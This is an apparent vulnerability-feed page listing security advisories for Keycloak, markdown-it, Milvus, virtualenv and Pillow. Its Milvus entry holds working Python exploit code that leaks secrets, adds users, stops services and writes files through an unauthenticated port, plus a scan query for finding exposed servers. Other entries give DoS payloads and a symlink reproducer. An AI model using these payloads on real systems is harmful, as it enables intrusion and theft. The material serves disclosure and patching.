https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-37980&date=2026-10-25 A flaw was found in Keycloak, specifically in the organization selection login page. A remote attacker with `manage-realm` or `manage-organizations` administrative privileges can exploit a Stored Cross-Site Scripting (XSS) vulnerability. This flaw occurs because the `organization.alias` is placed into an inline JavaScript `onclick` handler, allowing a crafted JavaScript payload to execute in a user's browser when they view the login page. Successful exploitation enables arbitrary JavaScript execution, potentially leading to session theft, unauthorized account actions, or further attacks against users of the affected realm. Affected package ranges reported by GitHub: org.keycloak:keycloak-services: <= 26.5.5 Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Keycloak has Improper Access Control that allows attackers with valid credentials to bypass the allowRemoteResourceManagement=false https://kevwire.com/record/CVE-2026-4628 Keycloak has Improper Access Control that allows attackers with valid credentials to bypass the allowRemoteResourceManagement=false (Mar 23, 2026). A flaw was found in Keycloak. An improper Access Control vulnerability in Keycloak’s User-Managed Access (UMA) resource_set endpoint allows attackers with valid credentials to bypass the allowRemoteResourceManagement=false restriction. This occurs due to incomplete enforcement of access control checks on PUT operations to the resource_set endpoint. This issue enables unauthorized modification of protected resources, impacting data integrity. CVSS 4.3 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-4pgc-gfrr-wcmg). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-4628&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-4pgc-gfrr-wcmg: https://github.com/advisories/GHSA-4pgc-gfrr-wcmg GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-4628&date=2026-10-25 A flaw was found in Keycloak. An improper Access Control vulnerability in Keycloak’s User-Managed Access (UMA) resource_set endpoint allows attackers with valid credentials to bypass the allowRemoteResourceManagement=false restriction. This occurs due to incomplete enforcement of access control checks on PUT operations to the resource_set endpoint. This issue enables unauthorized modification of protected resources, impacting data integrity. Affected package ranges reported by GitHub: org.keycloak:keycloak-services: <= 26.6.0 Action: Consult the exact GitHub advisory for affected versions, mitigation, and patch availability. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### markdown-it linkify: true has two quadratic paths, so a few hundred KB of markdown blocks the event loop for tens of seconds https://kevwire.com/record/GHSA-253c-mchw-3w2r markdown-it linkify: true has two quadratic paths, so a few hundred KB of markdown blocks the event loop for tens of seconds (Sep 29, 2026). Two independent quadratic paths in the `linkify: true` handling. Both are in markdown-it's own code rather than in linkify-it, which stays linear on both payloads. `src/rules_core/linkify.ts` calls `arrayReplaceAt` once per linkified text token, and that rebuilds the whole `children` array each time. A paragraph of N soft-broken lines is one inline token with about 2N children, so you get N rebuilds over a 2N array. Schema-less emails are what reach it. A `http://` link gets consumed by the inline rule first and never arrives as a text token, so those stay linear. CVSS 6.3 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-253c-mchw-3w2r). Sources: GitHub-reviewed advisory GHSA-253c-mchw-3w2r: https://github.com/advisories/GHSA-253c-mchw-3w2r GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D ## Summary Two independent quadratic paths in the `linkify: true` handling. Both are in markdown-it's own code rather than in linkify-it, which stays linear on both payloads. `src/rules_core/linkify.ts` calls `arrayReplaceAt` once per linkified text token, and that rebuilds the whole `children` array each time. A paragraph of N soft-broken lines is one inline token with about 2N children, so you get N rebuilds over a 2N array. Schema-less emails are what reach it. A `http://` link gets consumed by the inline rule first and never arrives as a text token, so those stay linear. `src/rules_inline/linkify.ts` runs `state.pending.match(SCHEME_RE)` at every `://` in the source. `state.pending` only gets truncated once a link is actually produced, so an unregistered scheme leaves it growing and every `://` rescans the lot. ## Proof of concept Clean install of 15.0.0 from npm, `new MarkdownIt({ linkify: true }).render(payload)`, Node 24. | N | 5,000 | 10,000 | 20,000 | 40,000 | |---|---|---|---|---| | `'a@b.co\n'.repeat(N)`, 34KB to 273KB | 1.1s | 4.7s | 19.6s | 89s | | `'a://'.repeat(N)`, 20KB to 156KB | 0.25s | 0.76s | 3.1s | 15.0s | Doubling the input roughly quadruples the time in both. With `linkify: false` the same inputs run in 25 to 131ms and stay flat. Controls for the first one, all at N=20000: putting every email in a single text token (`'a@b.co '`) takes 0.59s, one email per paragraph (`'a@b.co\n\n'`) takes 0.64s, and soft-broken lines with nothing linkifiable take 42ms. So it needs many children AND many of them linkifying. For the second, replaying just the `SCHEME_RE` calls against the same growing prefixes with no markdown-it involved accounts for 11.7s of the 15s. Ordinary prose does it too. `'ping a@b.co ok\n'.repeat(20000)` is 293KB and takes 31s. ## Caveat `linkify` is off by default, so this only reaches apps that turn it on. ## Impact Availability only. A few hundred KB of fairly ordinary markdown pins one core for tens of seconds, and because it's quadratic it degrades quickly with size. Nothing is read, written or executed. Affected package ranges reported by GitHub: markdown-it: = 15.0.0 markdown-it: < 14.3.1 Action: GitHub lists first patched versions: markdown-it: 15.0.1; markdown-it: 14.3.1. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise https://kevwire.com/record/CVE-2026-26190 Milvus: Unauthenticated Access to Restful API on Metrics Port (9091) Leads to Critical System Compromise (Feb 11, 2026). Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities: 1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation. 2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management. CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-7ppg-37fh-vcr6). EPSS 39.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-26190&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-7ppg-37fh-vcr6: https://github.com/advisories/GHSA-7ppg-37fh-vcr6 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-26190&date=2026-10-25 ## Summary Milvus exposes TCP port 9091 by default with two critical authentication bypass vulnerabilities: 1. The `/expr` debug endpoint uses a weak, predictable default authentication token derived from `etcd.rootPath` (default: `by-dev`), enabling arbitrary expression evaluation. 2. The full REST API (`/api/v1/*`) is registered on the metrics/management port without any authentication, allowing unauthenticated access to all business operations including data manipulation and credential management. ## Details ### Vulnerability 1: Weak Default Authentication on `/expr` Endpoint The `/expr` endpoint on port 9091 accepts an `auth` parameter that defaults to the `etcd.rootPath` value (`by-dev`). This value is well-known and predictable. An attacker who can reach port 9091 can evaluate arbitrary internal Go expressions, leading to: - **Information/Credential Disclosure**: Reading internal configuration values (MinIO secrets, etcd credentials) and user credential hashes via `param.MinioCfg.SecretAccessKey.GetValue()`, `rootcoord.meta.GetCredential(ctx, 'root')`, etc. - **Denial of Service**: Invoking `proxy.Stop()` to shut down the proxy service. - **Arbitrary File Write (potential RCE)**: Manipulating access log configuration parameters to write arbitrary content to arbitrary file paths on the server filesystem. ### Vulnerability 2: Unauthenticated REST API on Metrics Port Business-logic HTTP handlers (collection management, data insertion, credential management) are registered on the metrics/management HTTP server at port 9091 via `registerHTTPServer()` in [`internal/distributed/proxy/service.go` (line 170)](https://github.com/milvus-io/milvus/blob/9996e8d1cebff7e7108bcb16d43124236de77438/internal/distributed/proxy/service.go#L170). These endpoints do not enforce any authentication, even when Milvus authentication is enabled on the primary gRPC/HTTP ports. An attacker can perform any business operation without credentials, including: - Creating, listing, and deleting collections - Inserting and querying data - Creating, listing, and deleting user credentials - Modifying user passwords ## Proof of Concept ### PoC 1 — `/expr` Endpoint Exploitation ```python import requests url = "http:// :9091/expr" # Leak sensitive configuration (e.g., MinIO secret key) res = requests.get(url, params={ "auth": "by-dev", "code": "param.MinioCfg.SecretAccessKey.GetValue()" }, timeout=5) print(res.json().get("output", "")) # Retrieve hashed credentials for the root user res = requests.get(url, params={ "auth": "by-dev", "code": "rootcoord.meta.GetCredential(ctx, 'root')" }, timeout=5) print(res.json().get("output", "")) # Denial of Service — stop the proxy res = requests.get(url, params={ "auth": "by-dev", "code": "proxy.Stop()" }, timeout=5) # Arbitrary file write (potential RCE) for cmd in [ 'param.Save("proxy.accessLog.localPath", "/tmp")', 'param.Save("proxy.accessLog.formatters.base.format", "whoami")', 'param.Save("proxy.accessLog.filename", "evil.sh")', 'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")' ]: requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5) ``` ### PoC 2 — Unauthenticated REST API Access ```python import requests target_url = "http:// :9091" # Create a user without any authentication res = requests.post(f"{target_url}/api/v1/credential", json={ "username": "attacker_user", "password": "MTIzNDU2Nzg5", }) print(res.json()) # List all users res = requests.get(f"{target_url}/api/v1/credential/users") print(res.json()) # {'status': {}, 'usernames': ['root', 'attacker_user']} # Create and delete collections, insert data — all without authentication ``` ## Internet Exposure A significant number of publicly exposed Milvus instances are discoverable via internet-wide scanning using the pattern: ``` http.body="404 page not found" && port="9091" ``` This indicates the vulnerability is actively exploitable in real-world production environments. ## Impact An unauthenticated remote attacker with network access to port 9091 can: 1. **Exfiltrate secrets and credentials** — MinIO keys, etcd credentials, user password hashes, and all internal configuration values. 2. **Manipulate all data** — Create, modify, and delete collections, insert or remove data, bypassing all application-level access controls. 3. **Manage user accounts** — Create administrative users, reset passwords, and escalate privileges. 4. **Cause denial of service** — Shut down proxy services, drop databases, or corrupt metadata. 5. **Write arbitrary files** — Potentially achieve remote code execution by writing malicious files to the filesystem via access log configuration manipulation. ## Remediation ### Recommended Fixes 1. **Remove or disable the `/expr` endpoint** in production builds. If retained for debugging, it must require strong, non-default authentication and be disabled by default. 2. **Do not register business API routes on the metrics port.** Separate the metrics/health endpoints from the application REST API to ensure authentication middleware applies consistently. 3. **Bind port 9091 to localhost by default** (`127.0.0.1:9091`) so it is not externally accessible unless explicitly configured. 4. **Enforce authentication on all API endpoints**, regardless of which port they are served on. ### User Mitigations (until patched) - Block external access to port 9091 using firewall rules or network policies. - If running in Docker/Kubernetes, do not expose port 9091 outside the internal network. - Change the `etcd.rootPath` from the default value `by-dev` to a strong, random value (partial mitigation only — does not address the unauthenticated REST API). ## Credit This vulnerability was discovered and responsibly reported by **YingLin Xie** (xieyinglin@hust.edu.cn). It was independently reported by [0x1f](https://github.com/0x1f) and zznQ ([ac0d3r](https://github.com/ac0d3r)). Affected package ranges reported by GitHub: github.com/milvus-io/milvus: < 2.5.27 github.com/milvus-io/milvus: >= 2.6.0, < 2.6.10 Action: GitHub lists first patched versions: github.com/milvus-io/milvus: 2.5.27; github.com/milvus-io/milvus: 2.6.10. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### virtualenv: Generated files can follow existing destination links https://kevwire.com/record/CVE-2026-113721 virtualenv: Generated files can follow existing destination links (Oct 22, 2026). Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the existing path directly. Anthropic's OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026. CVSS 4.5 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-558c-9hv2-4prj). EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113721&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-558c-9hv2-4prj: https://github.com/advisories/GHSA-558c-9hv2-4prj GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113721&date=2026-10-25 ## Summary Generated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The template writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the existing path directly. Anthropic's OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026. ## Affected area Final file entries written during environment creation and seeding. ## Attacker-controlled input Another account must be able to prepare file links in the destination before creation. The invoking user must have write permission at the linked target. The destination parent must remain controlled during creation; concurrent parent-directory replacement is a separate concern. ## Affected code The relevant 21.14.8 source is in [template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py), [configuration writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py). ## Mechanism `ViaTemplateActivator._generate()` removes an existing output only when `Path.exists()` is true. A dangling symlink therefore survives, and `write_bytes()` creates its target outside the environment. Other generated files have related final-entry behavior. `PyEnvCfg.write()` opens `pyvenv.cfg` without first replacing an existing link; a symlink or hard link there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's permission to write the linked target. ## Reproduction and evidence The scanner's project tree contains `venv/bin/activate -> ../../../.bash_aliases` and an executable `venv/bin/basename`. Before creation, a new interactive bash does not create the marker. A plain `virtualenv venv` writes the activation script through the dangling link, creating `~/.bash_aliases` as a regular file. Debian's stock `.bashrc` sources that file; the next interactive bash adds `venv/bin` to `PATH` and the planted `basename` writes the marker. The reproducer checks that the link remains, `~/.bash_aliases` appears, and the second shell executes the planted file. A separate manual check links `pyvenv.cfg` to `~/.bashrc` and observes the latter replaced with generated configuration text. The link lets creation write outside the requested environment. The attacker chooses the target path but the generated bytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not arbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first released in 20.0.0b1. [PR #3431](https://github.com/pypa/virtualenv/pull/3431) replaces pre-existing output links and uses exclusive creation for generated text. It does not make a destination safe if another account can replace parent directories during creation. ## Attack sequence ```mermaid sequenceDiagram participant A as Prepared project tree participant V as virtualenv writer participant H as User home participant B as Next interactive bash A->>V: venv/bin/activate links to missing ~/.bash_aliases V->>V: Path.exists() follows link and returns false V->>H: write activation bytes through link H-->>B: ~/.bash_aliases now exists B->>H: .bashrc sources ~/.bash_aliases B->>A: PATH reaches planted venv/bin/basename A-->>B: marker created Note over V,H: pyvenv.cfg can also overwrite an existing linked target ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-XBEOCBS1`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import os import shutil import subprocess import sys import tempfile # set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists home = tempfile.mkdtemp(prefix="home-") shutil.copy("/etc/skel/.bashrc", f"{home}/.bashrc") bash_aliases = f"{home}/.bash_aliases" marker = f"{home}/attacker-ran" open_terminal = ["bash", "-i", "-c", "true"] terminal_env = {"HOME": home, "PATH": "/usr/bin:/bin", "TERM": "dumb"} # the attacker's repository, cloned by the user to ~/proj checkout = f"{home}/proj" subprocess.run([sys.executable, "/tmp/repro.d/make_hostile_checkout.py", checkout], check=True) activate = f"{checkout}/venv/bin/activate" print("shipped: venv/bin/activate ->", os.readlink(activate), flush=True) # a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns) subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True) print("before virtualenv: ~/.bash_aliases exists:", os.path.lexists(bash_aliases), "| marker exists:", os.path.exists(marker), flush=True) assert not os.path.lexists(bash_aliases) and not os.path.exists(marker) # trigger: the user creates an environment in the checkout, then opens a new terminal subprocess.run(["virtualenv", "--no-periodic-update", "venv"], cwd=checkout, env={**os.environ, "HOME": home}, check=True) subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True) # check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases print("venv/bin/activate is still the symlink:", os.path.islink(activate)) written_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases) print("~/.bash_aliases created as a regular file:", written_outside) if written_outside: print(" its first line:", open(bash_aliases).readline().rstrip()) attacker_code_ran = os.path.exists(m Affected package ranges reported by GitHub: virtualenv: < 21.14.9 Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load() https://kevwire.com/record/GHSA-78g4-xqwv-q3g8 Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load() (Oct 22, 2026). Every Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219 Because the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings. CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-78g4-xqwv-q3g8). Sources: GitHub-reviewed advisory GHSA-78g4-xqwv-q3g8: https://github.com/advisories/GHSA-78g4-xqwv-q3g8 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D ### Summary Every Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219 Because the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings. I am reporting it here rather than only upstream because Pillow is where the vulnerable binary actually reaches users. Note the inversion that makes this easy to miss: **OpenJPEG 2.5.2 and earlier are safe.** The bug was introduced in `954c6e3c` (2024-06-25), so keeping the dependency current is what creates the exposure. ### Details ## Affected wheels From `.github/dependencies.json` (`openjpeg`) at each tag: | Pillow | bundled OpenJPEG | status | |---|---|---| | 10.4.0 | 2.5.2 | safe | | 11.0.0 | 2.5.2 | safe | | **11.1.0, 11.2.1, 11.3.0** | **2.5.3** | **affected** | | **12.0.0 … 12.3.0** | **2.5.4** | **affected** | Confirmed on an installed wheel: `PIL.features.version_codec('jpg_2000')` → `2.5.4`, bundled file `pillow.libs/libopenjp2-*.so.2.5.4`. `main` still pins `2.5.4` as of 2026-10-06. ## The defect `src/lib/openjp2/j2k.c`, in `opj_j2k_read_sod`: ```c OPJ_UINT32 l_current_tile_part = l_cstr_index->tile_index[p_j2k->m_current_tile_number].current_tpsno; 